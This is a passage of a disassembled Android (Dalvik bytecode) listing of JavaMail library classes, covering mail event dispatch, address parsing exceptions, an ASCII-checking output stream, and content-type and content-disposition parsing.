0000001A  const/4                 v1, 0x2
0000001C  if-ne                   v0, v1, :2C
:20
00000020  check-cast              p1, ConnectionListener
00000024  invoke-interface        ConnectionListener->disconnected(ConnectionEvent)V, p1, p0
0000002A  goto                    :14
:2C
0000002C  iget                    v0, p0, ConnectionEvent->type:I
00000030  const/4                 v1, 0x3
00000032  if-ne                   v0, v1, :14
:36
00000036  check-cast              p1, ConnectionListener
0000003A  invoke-interface        ConnectionListener->closed(ConnectionEvent)V, p1, p0
00000040  goto                    :14
.end method

.method public getType()I
          .registers 2
00000000  iget                    v0, p0, ConnectionEvent->type:I
00000004  return                  v0
.end method

#--------------------------------------------------------------------------------
.class public abstract interface FolderListener
.super Object
.source ""

.implements EventListener

.method public abstract folderCreated(FolderEvent)V
.end method

.method public abstract folderDeleted(FolderEvent)V
.end method

.method public abstract folderRenamed(FolderEvent)V
.end method

#--------------------------------------------------------------------------------
.class public abstract FolderAdapter
.super Object
.source ""

.implements FolderListener

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method public folderCreated(FolderEvent)V
          .registers 2
00000000  return-void
.end method

.method public folderDeleted(FolderEvent)V
          .registers 2
00000000  return-void
.end method

.method public folderRenamed(FolderEvent)V
          .registers 2
00000000  return-void
.end method

#--------------------------------------------------------------------------------
.class public FolderEvent
.super MailEvent
.source ""

.field public static final CREATED:I = 0x1
.field public static final DELETED:I = 0x2
.field public static final RENAMED:I = 0x3
.field private static final serialVersionUID:J = 0x493FB076540416E3L
.field protected transient varargs folder:Folder
.field protected transient varargs newFolder:Folder
.field protected type:I

.method public constructor <init>(Object, Folder, I)V
          .registers 4
00000000  invoke-direct           FolderEvent-><init>(Object, Folder, Folder, I)V, p0, p1, p2, p2, p3
00000006  return-void
.end method

.method public constructor <init>(Object, Folder, Folder, I)V
          .registers 5
00000000  invoke-direct           MailEvent-><init>(Object)V, p0, p1
00000006  iput-object             p2, p0, FolderEvent->folder:Folder
0000000A  iput-object             p3, p0, FolderEvent->newFolder:Folder
0000000E  iput                    p4, p0, FolderEvent->type:I
00000012  return-void
.end method

.method public dispatch(Object)V
          .registers 4
00000000  iget                    v0, p0, FolderEvent->type:I
00000004  const/4                 v1, 0x1
00000006  if-ne                   v0, v1, :16
:A
0000000A  check-cast              p1, FolderListener
0000000E  invoke-interface        FolderListener->folderCreated(FolderEvent)V, p1, p0
:14
00000014  return-void
:16
00000016  iget                    v0, p0, FolderEvent->type:I
0000001A  const/4                 v1, 0x2
0000001C  if-ne                   v0, v1, :2C
:20
00000020  check-cast              p1, FolderListener
00000024  invoke-interface        FolderListener->folderDeleted(FolderEvent)V, p1, p0
0000002A  goto                    :14
:2C
0000002C  iget                    v0, p0, FolderEvent->type:I
00000030  const/4                 v1, 0x3
00000032  if-ne                   v0, v1, :14
:36
00000036  check-cast              p1, FolderListener
0000003A  invoke-interface        FolderListener->folderRenamed(FolderEvent)V, p1, p0
00000040  goto                    :14
.end method

.method public getFolder()Folder
          .registers 2
00000000  iget-object             v0, p0, FolderEvent->folder:Folder
00000004  return-object           v0
.end method

.method public getNewFolder()Folder
          .registers 2
00000000  iget-object             v0, p0, FolderEvent->newFolder:Folder
00000004  return-object           v0
.end method

.method public getType()I
          .registers 2
00000000  iget                    v0, p0, FolderEvent->type:I
00000004  return                  v0
.end method

#--------------------------------------------------------------------------------
.class public MessageChangedEvent
.super MailEvent
.source ""

.field public static final ENVELOPE_CHANGED:I = 0x2
.field public static final FLAGS_CHANGED:I = 0x1
.field private static final serialVersionUID:J = 0xBAF55870BE7AF17CL
.field protected transient varargs msg:Message
.field protected type:I

.method public constructor <init>(Object, I, Message)V
          .registers 4
00000000  invoke-direct           MailEvent-><init>(Object)V, p0, p1
00000006  iput-object             p3, p0, MessageChangedEvent->msg:Message
0000000A  iput                    p2, p0, MessageChangedEvent->type:I
0000000E  return-void
.end method

.method public dispatch(Object)V
          .registers 2
00000000  check-cast              p1, MessageChangedListener
00000004  invoke-interface        MessageChangedListener->messageChanged(MessageChangedEvent)V, p1, p0
0000000A  return-void
.end method

.method public getMessage()Message
          .registers 2
00000000  iget-object             v0, p0, MessageChangedEvent->msg:Message
00000004  return-object           v0
.end method

.method public getMessageChangeType()I
          .registers 2
00000000  iget                    v0, p0, MessageChangedEvent->type:I
00000004  return                  v0
.end method

#--------------------------------------------------------------------------------
.class public abstract interface MessageChangedListener
.super Object
.source ""

.implements EventListener

.method public abstract messageChanged(MessageChangedEvent)V
.end method

#--------------------------------------------------------------------------------
.class public abstract interface MessageCountListener
.super Object
.source ""

.implements EventListener

.method public abstract messagesAdded(MessageCountEvent)V
.end method

.method public abstract messagesRemoved(MessageCountEvent)V
.end method

#--------------------------------------------------------------------------------
.class public abstract MessageCountAdapter
.super Object
.source ""

.implements MessageCountListener

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method public messagesAdded(MessageCountEvent)V
          .registers 2
00000000  return-void
.end method

.method public messagesRemoved(MessageCountEvent)V
          .registers 2
00000000  return-void
.end method

#--------------------------------------------------------------------------------
.class public MessageCountEvent
.super MailEvent
.source ""

.field public static final ADDED:I = 0x1
.field public static final REMOVED:I = 0x2
.field private static final serialVersionUID:J = 0x98A6DCA313F58B67L
.field protected transient varargs msgs:[Message
.field protected removed:Z
.field protected type:I

.method public constructor <init>(Folder, I, Z, [Message)V
          .registers 5
00000000  invoke-direct           MailEvent-><init>(Object)V, p0, p1
00000006  iput                    p2, p0, MessageCountEvent->type:I
0000000A  iput-boolean            p3, p0, MessageCountEvent->removed:Z
0000000E  iput-object             p4, p0, MessageCountEvent->msgs:[Message
00000012  return-void
.end method

.method public dispatch(Object)V
          .registers 4
00000000  iget                    v0, p0, MessageCountEvent->type:I
00000004  const/4                 v1, 0x1
00000006  if-ne                   v0, v1, :16
:A
0000000A  check-cast              p1, MessageCountListener
0000000E  invoke-interface        MessageCountListener->messagesAdded(MessageCountEvent)V, p1, p0
:14
00000014  return-void
:16
00000016  check-cast              p1, MessageCountListener
0000001A  invoke-interface        MessageCountListener->messagesRemoved(MessageCountEvent)V, p1, p0
00000020  goto                    :14
.end method

.method public getMessages()[Message
          .registers 2
00000000  iget-object             v0, p0, MessageCountEvent->msgs:[Message
00000004  return-object           v0
.end method

.method public getType()I
          .registers 2
00000000  iget                    v0, p0, MessageCountEvent->type:I
00000004  return                  v0
.end method

.method public isRemoved()Z
          .registers 2
00000000  iget-boolean            v0, p0, MessageCountEvent->removed:Z
00000004  return                  v0
.end method

#--------------------------------------------------------------------------------
.class public StoreEvent
.super MailEvent
.source ""

.field public static final ALERT:I = 0x1
.field public static final NOTICE:I = 0x2
.field private static final serialVersionUID:J = 0x1AE7A9DA6074BB02L
.field protected message:String
.field protected type:I

.method public constructor <init>(Store, I, String)V
          .registers 4
00000000  invoke-direct           MailEvent-><init>(Object)V, p0, p1
00000006  iput                    p2, p0, StoreEvent->type:I
0000000A  iput-object             p3, p0, StoreEvent->message:String
0000000E  return-void
.end method

.method public dispatch(Object)V
          .registers 2
00000000  check-cast              p1, StoreListener
00000004  invoke-interface        StoreListener->notification(StoreEvent)V, p1, p0
0000000A  return-void
.end method

.method public getMessage()String
          .registers 2
00000000  iget-object             v0, p0, StoreEvent->message:String
00000004  return-object           v0
.end method

.method public getMessageType()I
          .registers 2
00000000  iget                    v0, p0, StoreEvent->type:I
00000004  return                  v0
.end method

#--------------------------------------------------------------------------------
.class public abstract interface StoreListener
.super Object
.source ""

.implements EventListener

.method public abstract notification(StoreEvent)V
.end method

#--------------------------------------------------------------------------------
.class public abstract TransportAdapter
.super Object
.source ""

.implements TransportListener

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method public messageDelivered(TransportEvent)V
          .registers 2
00000000  return-void
.end method

.method public messageNotDelivered(TransportEvent)V
          .registers 2
00000000  return-void
.end method

.method public messagePartiallyDelivered(TransportEvent)V
          .registers 2
00000000  return-void
.end method

#--------------------------------------------------------------------------------
.class public TransportEvent
.super MailEvent
.source ""

.field public static final MESSAGE_DELIVERED:I = 0x1
.field public static final MESSAGE_NOT_DELIVERED:I = 0x2
.field public static final MESSAGE_PARTIALLY_DELIVERED:I = 0x3
.field private static final serialVersionUID:J = 0xBE5C30558AF3DA4FL
.field protected transient varargs invalid:[Address
.field protected transient varargs msg:Message
.field protected type:I
.field protected transient varargs validSent:[Address
.field protected transient varargs validUnsent:[Address

.method public constructor <init>(Transport, I, [Address, [Address, [Address, Message)V
          .registers 7
00000000  invoke-direct           MailEvent-><init>(Object)V, p0, p1
00000006  iput                    p2, p0, TransportEvent->type:I
0000000A  iput-object             p3, p0, TransportEvent->validSent:[Address
0000000E  iput-object             p4, p0, TransportEvent->validUnsent:[Address
00000012  iput-object             p5, p0, TransportEvent->invalid:[Address
00000016  iput-object             p6, p0, TransportEvent->msg:Message
0000001A  return-void
.end method

.method public dispatch(Object)V
          .registers 4
00000000  iget                    v0, p0, TransportEvent->type:I
00000004  const/4                 v1, 0x1
00000006  if-ne                   v0, v1, :16
:A
0000000A  check-cast              p1, TransportListener
0000000E  invoke-interface        TransportListener->messageDelivered(TransportEvent)V, p1, p0
:14
00000014  return-void
:16
00000016  iget                    v0, p0, TransportEvent->type:I
0000001A  const/4                 v1, 0x2
0000001C  if-ne                   v0, v1, :2C
:20
00000020  check-cast              p1, TransportListener
00000024  invoke-interface        TransportListener->messageNotDelivered(TransportEvent)V, p1, p0
0000002A  goto                    :14
:2C
0000002C  check-cast              p1, TransportListener
00000030  invoke-interface        TransportListener->messagePartiallyDelivered(TransportEvent)V, p1, p0
00000036  goto                    :14
.end method

.method public getInvalidAddresses()[Address
          .registers 2
00000000  iget-object             v0, p0, TransportEvent->invalid:[Address
00000004  return-object           v0
.end method

.method public getMessage()Message
          .registers 2
00000000  iget-object             v0, p0, TransportEvent->msg:Message
00000004  return-object           v0
.end method

.method public getType()I
          .registers 2
00000000  iget                    v0, p0, TransportEvent->type:I
00000004  return                  v0
.end method

.method public getValidSentAddresses()[Address
          .registers 2
00000000  iget-object             v0, p0, TransportEvent->validSent:[Address
00000004  return-object           v0
.end method

.method public getValidUnsentAddresses()[Address
          .registers 2
00000000  iget-object             v0, p0, TransportEvent->validUnsent:[Address
00000004  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public ParseException
.super MessagingException
.source ""

.field private static final serialVersionUID:J = 0x6A2A3A783FD59869L

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           MessagingException-><init>()V, p0
00000006  return-void
.end method

.method public constructor <init>(String)V
          .registers 2
00000000  invoke-direct           MessagingException-><init>(String)V, p0, p1
00000006  return-void
.end method

#--------------------------------------------------------------------------------
.class public AddressException
.super ParseException
.source ""

.field private static final serialVersionUID:J = 0x7EC48F3EAB5368F0L
.field protected pos:I
.field protected ref:String

.method public constructor <init>()V
          .registers 2
00000000  invoke-direct           ParseException-><init>()V, p0
00000006  const/4                 v0, 0x0
00000008  iput-object             v0, p0, AddressException->ref:String
0000000C  const/4                 v0, 0xFFFFFFFFFFFFFFFF
0000000E  iput                    v0, p0, AddressException->pos:I
00000012  return-void
.end method

.method public constructor <init>(String)V
          .registers 3
00000000  invoke-direct           ParseException-><init>(String)V, p0, p1
00000006  const/4                 v0, 0x0
00000008  iput-object             v0, p0, AddressException->ref:String
0000000C  const/4                 v0, 0xFFFFFFFFFFFFFFFF
0000000E  iput                    v0, p0, AddressException->pos:I
00000012  return-void
.end method

.method public constructor <init>(String, String)V
          .registers 4
00000000  invoke-direct           ParseException-><init>(String)V, p0, p1
00000006  const/4                 v0, 0x0
00000008  iput-object             v0, p0, AddressException->ref:String
0000000C  const/4                 v0, 0xFFFFFFFFFFFFFFFF
0000000E  iput                    v0, p0, AddressException->pos:I
00000012  iput-object             p2, p0, AddressException->ref:String
00000016  return-void
.end method

.method public constructor <init>(String, String, I)V
          .registers 5
00000000  invoke-direct           ParseException-><init>(String)V, p0, p1
00000006  const/4                 v0, 0x0
00000008  iput-object             v0, p0, AddressException->ref:String
0000000C  const/4                 v0, 0xFFFFFFFFFFFFFFFF
0000000E  iput                    v0, p0, AddressException->pos:I
00000012  iput-object             p2, p0, AddressException->ref:String
00000016  iput                    p3, p0, AddressException->pos:I
0000001A  return-void
.end method

.method public getPos()I
          .registers 2
00000000  iget                    v0, p0, AddressException->pos:I
00000004  return                  v0
.end method

.method public getRef()String
          .registers 2
00000000  iget-object             v0, p0, AddressException->ref:String
00000004  return-object           v0
.end method

.method public toString()String
          .registers 3
00000000  invoke-super            ParseException->toString()String, p0
00000006  move-result-object      v0
00000008  iget-object             v1, p0, AddressException->ref:String
0000000C  if-nez                  v1, :12
:10
00000010  return-object           v0
:12
00000012  new-instance            v1, StringBuilder
00000016  invoke-static           String->valueOf(Object)String, v0
0000001C  move-result-object      v0
0000001E  invoke-direct           StringBuilder-><init>(String)V, v1, v0
00000024  const-string            v0, " in string ``"
00000028  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v0
0000002E  move-result-object      v0
00000030  iget-object             v1, p0, AddressException->ref:String
00000034  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000003A  move-result-object      v0
0000003C  const-string            v1, "\'\'"
00000040  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000046  move-result-object      v0
00000048  invoke-virtual          StringBuilder->toString()String, v0
0000004E  move-result-object      v0
00000050  iget                    v1, p0, AddressException->pos:I
00000054  if-ltz                  v1, :10
:58
00000058  new-instance            v1, StringBuilder
0000005C  invoke-static           String->valueOf(Object)String, v0
00000062  move-result-object      v0
00000064  invoke-direct           StringBuilder-><init>(String)V, v1, v0
0000006A  const-string            v0, " at position "
0000006E  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v0
00000074  move-result-object      v0
00000076  iget                    v1, p0, AddressException->pos:I
0000007A  invoke-virtual          StringBuilder->append(I)StringBuilder, v0, v1
00000080  move-result-object      v0
00000082  invoke-virtual          StringBuilder->toString()String, v0
00000088  move-result-object      v0
0000008A  goto                    :10
.end method

#--------------------------------------------------------------------------------
.class AsciiOutputStream
.super OutputStream
.source ""

.field private ascii:I
.field private badEOL:Z
.field private breakOnNonAscii:Z
.field private checkEOL:Z
.field private lastb:I
.field private linelen:I
.field private longLine:Z
.field private non_ascii:I
.field private ret:I

.method public constructor <init>(Z, Z)V
          .registers 4
00000000  const/4                 v0, 0x0
00000002  invoke-direct           OutputStream-><init>()V, p0
00000008  iput                    v0, p0, AsciiOutputStream->ascii:I
0000000C  iput                    v0, p0, AsciiOutputStream->non_ascii:I
00000010  iput                    v0, p0, AsciiOutputStream->linelen:I
00000014  iput-boolean            v0, p0, AsciiOutputStream->longLine:Z
00000018  iput-boolean            v0, p0, AsciiOutputStream->badEOL:Z
0000001C  iput-boolean            v0, p0, AsciiOutputStream->checkEOL:Z
00000020  iput                    v0, p0, AsciiOutputStream->lastb:I
00000024  iput                    v0, p0, AsciiOutputStream->ret:I
00000028  iput-boolean            p1, p0, AsciiOutputStream->breakOnNonAscii:Z
0000002C  if-eqz                  p2, :36
:30
00000030  if-eqz                  p1, :36
:34
00000034  const/4                 v0, 0x1
:36
00000036  iput-boolean            v0, p0, AsciiOutputStream->checkEOL:Z
0000003A  return-void
.end method

.method private final check(I)V
          .registers 7
00000000  const/4                 v4, 0x1
00000002  const/16                v3, 0xD
00000006  const/16                v2, 0xA
0000000A  and-int/lit16           v0, p1, 0xFF
0000000E  iget-boolean            v1, p0, AsciiOutputStream->checkEOL:Z
00000012  if-eqz                  v1, :32
:16
00000016  iget                    v1, p0, AsciiOutputStream->lastb:I
0000001A  if-ne                   v1, v3, :22
:1E
0000001E  if-ne                   v0, v2, :2E
:22
00000022  iget                    v1, p0, AsciiOutputStream->lastb:I
00000026  if-eq                   v1, v3, :32
:2A
0000002A  if-ne                   v0, v2, :32
:2E
0000002E  iput-boolean            v4, p0, AsciiOutputStream->badEOL:Z
:32
00000032  if-eq                   v0, v3, :3A
:36
00000036  if-ne                   v0, v2, :72
:3A
0000003A  const/4                 v1, 0x0
0000003C  iput                    v1, p0, AsciiOutputStream->linelen:I
:40
00000040  invoke-static           MimeUtility->nonascii(I)Z, v0
00000046  move-result             v1
00000048  if-eqz                  v1, :90
:4C
0000004C  iget                    v1, p0, AsciiOutputStream->non_ascii:I
00000050  add-int/lit8            v1, v1, 0x1
00000054  iput                    v1, p0, AsciiOutputStream->non_ascii:I
00000058  iget-boolean            v1, p0, AsciiOutputStream->breakOnNonAscii:Z
0000005C  if-eqz                  v1, :9C
:60
00000060  const/4                 v0, 0x3
00000062  iput                    v0, p0, AsciiOutputStream->ret:I
00000066  new-instance            v0, EOFException
0000006A  invoke-direct           EOFException-><init>()V, v0
00000070  throw                   v0
:72
00000072  iget                    v1, p0, AsciiOutputStream->linelen:I
00000076  add-int/lit8            v1, v1, 0x1
0000007A  iput                    v1, p0, AsciiOutputStream->linelen:I
0000007E  iget                    v1, p0, AsciiOutputStream->linelen:I
00000082  const/16                v2, 0x3E6
00000086  if-le                   v1, v2, :40
:8A
0000008A  iput-boolean            v4, p0, AsciiOutputStream->longLine:Z
0000008E  goto                    :40
:90
00000090  iget                    v1, p0, AsciiOutputStream->ascii:I
00000094  add-int/lit8            v1, v1, 0x1
00000098  iput                    v1, p0, AsciiOutputStream->ascii:I
:9C
0000009C  iput                    v0, p0, AsciiOutputStream->lastb:I
000000A0  return-void
.end method

.method public getAscii()I
          .registers 5
00000000  const/4                 v0, 0x3
00000002  const/4                 v1, 0x2
00000004  iget                    v2, p0, AsciiOutputStream->ret:I
00000008  if-eqz                  v2, :12
:C
0000000C  iget                    v0, p0, AsciiOutputStream->ret:I
:10
00000010  return                  v0
:12
00000012  iget-boolean            v2, p0, AsciiOutputStream->badEOL:Z
00000016  if-nez                  v2, :10
:1A
0000001A  iget                    v2, p0, AsciiOutputStream->non_ascii:I
0000001E  if-nez                  v2, :32
:22
00000022  iget-boolean            v0, p0, AsciiOutputStream->longLine:Z
00000026  if-eqz                  v0, :2E
:2A
0000002A  move                    v0, v1
0000002C  goto                    :10
:2E
0000002E  const/4                 v0, 0x1
00000030  goto                    :10
:32
00000032  iget                    v2, p0, AsciiOutputStream->ascii:I
00000036  iget                    v3, p0, AsciiOutputStream->non_ascii:I
0000003A  if-le                   v2, v3, :10
:3E
0000003E  move                    v0, v1
00000040  goto                    :10
.end method

.method public write(I)V
          .registers 2
00000000  invoke-direct           AsciiOutputStream->check(I)V, p0, p1
00000006  return-void
.end method

.method public write([B)V
          .registers 4
00000000  const/4                 v0, 0x0
00000002  array-length            v1, p1
00000004  invoke-virtual          AsciiOutputStream->write([B, I, I)V, p0, p1, v0, v1
0000000A  return-void
.end method

.method public write([B, I, I)V
          .registers 6
00000000  add-int                 v0, p3, p2
:4
00000004  if-lt                   p2, v0, :A
:8
00000008  return-void
:A
0000000A  aget-byte               v1, p1, p2
0000000E  invoke-direct           AsciiOutputStream->check(I)V, p0, v1
00000014  add-int/lit8            p2, p2, 0x1
00000018  goto                    :4
.end method

#--------------------------------------------------------------------------------
.class public ContentDisposition
.super Object
.source ""

.field private disposition:String
.field private list:ParameterList

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method public constructor <init>(String)V
          .registers 6
00000000  invoke-direct           Object-><init>()V, p0
00000006  new-instance            v0, HeaderTokenizer
0000000A  const-string            v1, "()<>@,;:\\\"\t []/?="
0000000E  invoke-direct           HeaderTokenizer-><init>(String, String)V, v0, p1, v1
00000014  invoke-virtual          HeaderTokenizer->next()HeaderTokenizer$Token, v0
0000001A  move-result-object      v1
0000001C  invoke-virtual          HeaderTokenizer$Token->getType()I, v1
00000022  move-result             v2
00000024  const/4                 v3, 0xFFFFFFFFFFFFFFFF
00000026  if-eq                   v2, v3, :36
:2A
0000002A  new-instance            v0, ParseException
0000002E  invoke-direct           ParseException-><init>()V, v0
00000034  throw                   v0
:36
00000036  invoke-virtual          HeaderTokenizer$Token->getValue()String, v1
0000003C  move-result-object      v1
0000003E  iput-object             v1, p0, ContentDisposition->disposition:String
00000042  invoke-virtual          HeaderTokenizer->getRemainder()String, v0
00000048  move-result-object      v0
0000004A  if-eqz                  v0, :5C
:4E
0000004E  new-instance            v1, ParameterList
00000052  invoke-direct           ParameterList-><init>(String)V, v1, v0
00000058  iput-object             v1, p0, ContentDisposition->list:ParameterList
:5C
0000005C  return-void
.end method

.method public constructor <init>(String, ParameterList)V
          .registers 3
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput-object             p1, p0, ContentDisposition->disposition:String
0000000A  iput-object             p2, p0, ContentDisposition->list:ParameterList
0000000E  return-void
.end method

.method public getDisposition()String
          .registers 2
00000000  iget-object             v0, p0, ContentDisposition->disposition:String
00000004  return-object           v0
.end method

.method public getParameter(String)String
          .registers 3
00000000  iget-object             v0, p0, ContentDisposition->list:ParameterList
00000004  if-nez                  v0, :C
:8
00000008  const/4                 v0, 0x0
:A
0000000A  return-object           v0
:C
0000000C  iget-object             v0, p0, ContentDisposition->list:ParameterList
00000010  invoke-virtual          ParameterList->get(String)String, v0, p1
00000016  move-result-object      v0
00000018  goto                    :A
.end method

.method public getParameterList()ParameterList
          .registers 2
00000000  iget-object             v0, p0, ContentDisposition->list:ParameterList
00000004  return-object           v0
.end method

.method public setDisposition(String)V
          .registers 2
00000000  iput-object             p1, p0, ContentDisposition->disposition:String
00000004  return-void
.end method

.method public setParameter(String, String)V
          .registers 4
00000000  iget-object             v0, p0, ContentDisposition->list:ParameterList
00000004  if-nez                  v0, :16
:8
00000008  new-instance            v0, ParameterList
0000000C  invoke-direct           ParameterList-><init>()V, v0
00000012  iput-object             v0, p0, ContentDisposition->list:ParameterList
:16
00000016  iget-object             v0, p0, ContentDisposition->list:ParameterList
0000001A  invoke-virtual          ParameterList->set(String, String)V, v0, p1, p2
00000020  return-void
.end method

.method public setParameterList(ParameterList)V
          .registers 2
00000000  iput-object             p1, p0, ContentDisposition->list:ParameterList
00000004  return-void
.end method

.method public toString()String
          .registers 4
00000000  iget-object             v0, p0, ContentDisposition->disposition:String
00000004  if-nez                  v0, :C
:8
00000008  const/4                 v0, 0x0
:A
0000000A  return-object           v0
:C
0000000C  iget-object             v0, p0, ContentDisposition->list:ParameterList
00000010  if-nez                  v0, :1A
:14
00000014  iget-object             v0, p0, ContentDisposition->disposition:String
00000018  goto                    :A
:1A
0000001A  new-instance            v0, StringBuffer
0000001E  iget-object             v1, p0, ContentDisposition->disposition:String
00000022  invoke-direct           StringBuffer-><init>(String)V, v0, v1
00000028  iget-object             v1, p0, ContentDisposition->list:ParameterList
0000002C  invoke-virtual          StringBuffer->length()I, v0
00000032  move-result             v2
00000034  add-int/lit8            v2, v2, 0x15
00000038  invoke-virtual          ParameterList->toString(I)String, v1, v2
0000003E  move-result-object      v1
00000040  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
00000046  invoke-virtual          StringBuffer->toString()String, v0
0000004C  move-result-object      v0
0000004E  goto                    :A
.end method

#--------------------------------------------------------------------------------
.class public ContentType
.super Object
.source ""

.field private list:ParameterList
.field private primaryType:String
.field private subType:String

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method public constructor <init>(String)V
          .registers 6
00000000  const/4                 v3, 0xFFFFFFFFFFFFFFFF
00000002  invoke-direct           Object-><init>()V, p0
00000008  new-instance            v0, HeaderTokenizer
0000000C  const-string            v1, "()<>@,;:\\\"\t []/?="
00000010  invoke-direct           HeaderTokenizer-><init>(String, String)V, v0, p1, v1
00000016  invoke-virtual          HeaderTokenizer->next()HeaderTokenizer$Token, v0
0000001C  move-result-object      v1
0000001E  invoke-virtual          HeaderTokenizer$Token->getType()I, v1
00000024  move-result             v2
00000026  if-eq                   v2, v3, :36
:2A
0000002A  new-instance            v0, ParseException
0000002E  invoke-direct           ParseException-><init>()V, v0
00000034  throw                   v0
:36
00000036  invoke-virtual          HeaderTokenizer$Token->getValue()String, v1
0000003C  move-result-object      v1
0000003E  iput-object             v1, p0, ContentType->primaryType:String
00000042  invoke-virtual          HeaderTokenizer->next()HeaderTokenizer$Token, v0
00000048  move-result-object      v1
0000004A  invoke-virtual          HeaderTokenizer$Token->getType()I, v1
00000050  move-result             v1
00000052  int-to-char             v1, v1
00000054  const/16                v2, 0x2F
00000058  if-eq                   v1, v2, :68
:5C
0000005C  new-instance            v0, ParseException
00000060  invoke-direct           ParseException-><init>()V, v0
00000066  throw                   v0
:68
00000068  invoke-virtual          HeaderTokenizer->next()HeaderTokenizer$Token, v0
0000006E  move-result-object      v1
00000070  invoke-virtual          HeaderTokenizer$Token->getType()I, v1
00000076  move-result             v2
00000078  if-eq                   v2, v3, :88
:7C
0000007C  new-instance            v0, ParseException
00000080  invoke-direct           ParseException-><init>()V, v0
00000086  throw                   v0
:88
00000088  invoke-virtual          HeaderTokenizer$Token->getValue()String, v1
0000008E  move-result-object      v1
00000090  iput-object             v1, p0, ContentType->subType:String
00000094  invoke-virtual          HeaderTokenizer->getRemainder()String, v0
0000009A  move-result-object      v0
0000009C  if-eqz                  v0, :AE
:A0
000000A0  new-instance            v1, ParameterList
000000A4  invoke-direct           ParameterList-><init>(String)V, v1, v0
000000AA  iput-object             v1, p0, ContentType->list:ParameterList
:AE
000000AE  return-void
.end method

.method public constructor <init>(String, String, ParameterList)V
          .registers 4
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput-object             p1, p0, ContentType->primaryType:String
0000000A  iput-object             p2, p0, ContentType->subType:String
0000000E  iput-object             p3, p0, ContentType->list:ParameterList
00000012  return-void
.end method

.method public getBaseType()String
          .registers 3
00000000  new-instance            v0, StringBuilder
00000004  iget-object             v1, p0, ContentType->primaryType:String
00000008  invoke-static           String->valueOf(Object)String, v1
0000000E  move-result-object      v1
00000010  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000016  const/16                v1, 0x2F
0000001A  invoke-virtual          StringBuilder->append(C)StringBuilder, v0, v1
00000020  move-result-object      v0
00000022  iget-object             v1, p0, ContentType->subType:String
00000026  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000002C  move-result-object      v0
0000002E  invoke-virtual          StringBuilder->toString()String, v0
00000034  move-result-object      v0
00000036  return-object           v0
.end method

.method public getParameter(String)String
          .registers 3
00000000  iget-object             v0, p0, ContentType->list:ParameterList
00000004  if-nez                  v0, :C
:8
00000008  const/4                 v0, 0x0
:A
0000000A  return-object           v0
:C
0000000C  iget-object             v0, p0, ContentType->list:ParameterList
00000010  invoke-virtual          ParameterList->get(String)String, v0, p1
00000016  move-result-object      v0
00000018  goto                    :A
.end method

.method public getParameterList()ParameterList
          .registers 2
00000000  iget-object             v0, p0, ContentType->list:ParameterList
00000004  return-object           v0
.end method

.method public getPrimaryType()String
          .registers 2
00000000  iget-object             v0, p0, ContentType->primaryType:String
00000004  return-object           v0
.end method

.method public getSubType()String
          .registers 2
00000000  iget-object             v0, p0, ContentType->subType:String
00000004  return-object           v0
.end method

.method public match(String)Z
          .registers 3
00000000  new-instance            v0, ContentType
00000004  invoke-direct           ContentType-><init>(String)V, v0, p1
0000000A  invoke-virtual          ContentType->match(ContentType)Z, p0, v0
:10
00000010  move-result             v0
:12
00000012  return                  v0
:14
00000014  move-exception          v0
00000016  const/4                 v0, 0x0
00000018  goto                    :12
          .catch ParseException {:0 .. :10} :14
.end method

.method public match(ContentType)Z
          .registers 7
00000000  const/16                v4, 0x2A
00000004  const/4                 v1, 0x1
00000006  const/4                 v0, 0x0
00000008  iget-object             v2, p0, ContentType->primaryType:String
0000000C  invoke-virtual          ContentType->getPrimaryType()String, p1
00000012  move-result-object      v3
00000014  invoke-virtual          String->equalsIgnoreCase(String)Z, v2, v3
0000001A  move-result             v2
0000001C  if-nez                  v2, :22
:20
00000020  return                  v0
:22
00000022  invoke-virtual          ContentType->getSubType()String, p1
00000028  move-result-object      v2
0000002A  iget-object             v3, p0, ContentType->subType:String
0000002E  invoke-virtual          String->charAt(I)C, v3, v0
00000034  move-result             v3
00000036  if-eq                   v3, v4, :46
:3A
0000003A  invoke-virtual          String->charAt(I)C, v2, v0
00000040  move-result             v3
00000042  if-ne                   v3, v4, :4A
:46
00000046  move                    v0, v1
00000048  goto                    :20
:4A
0000004A  iget-object             v3, p0, ContentType->subType:String
0000004E  invoke-virtual          String->equalsIgnoreCase(String)Z, v3, v2
00000054  move-result             v2
00000056  if-eqz                  v2, :20
:5A
0000005A  move                    v0, v1
0000005C  goto                    :20
.end method

.method public setParameter(String, String)V
          .registers 4
00000000  iget-object             v0, p0, ContentType->list:ParameterList
00000004  if-nez                  v0, :16
:8
00000008  new-instance            v0, ParameterList
0000000C  invoke-direct           ParameterList-><init>()V, v0
00000012  iput-object             v0, p0, ContentType->list:ParameterList
:16
00000016  iget-object             v0, p0, ContentType->list:ParameterList
0000001A  invoke-virtual          ParameterList->set(String, String)V, v0, p1, p2
00000020  return-void
.end method

.method public setParameterList(ParameterList)V
          .registers 2
00000000  iput-object             p1, p0, ContentType->list:ParameterList
00000004  return-void
.end method

.method public setPrimaryType(String)V
          .registers 2
00000000  iput-object             p1, p0, ContentType->primaryType:String
00000004  return-void
.end method

.method public setSubType(String)V
          .registers 2
00000000  iput-object             p1, p0, ContentType->subType:String
00000004  return-void
.end method

.method public toString()String
          .registers 4
00000000  iget-object             v0, p0, ContentType->primaryType:String
00000004  if-eqz                  v0, :10
:8
00000008  iget-object             v0, p0, ContentType->subType:String
0000000C  if-nez                  v0, :14
:10
00000010  const/4                 v0, 0x0
:12
00000012  return-object           v0
:14
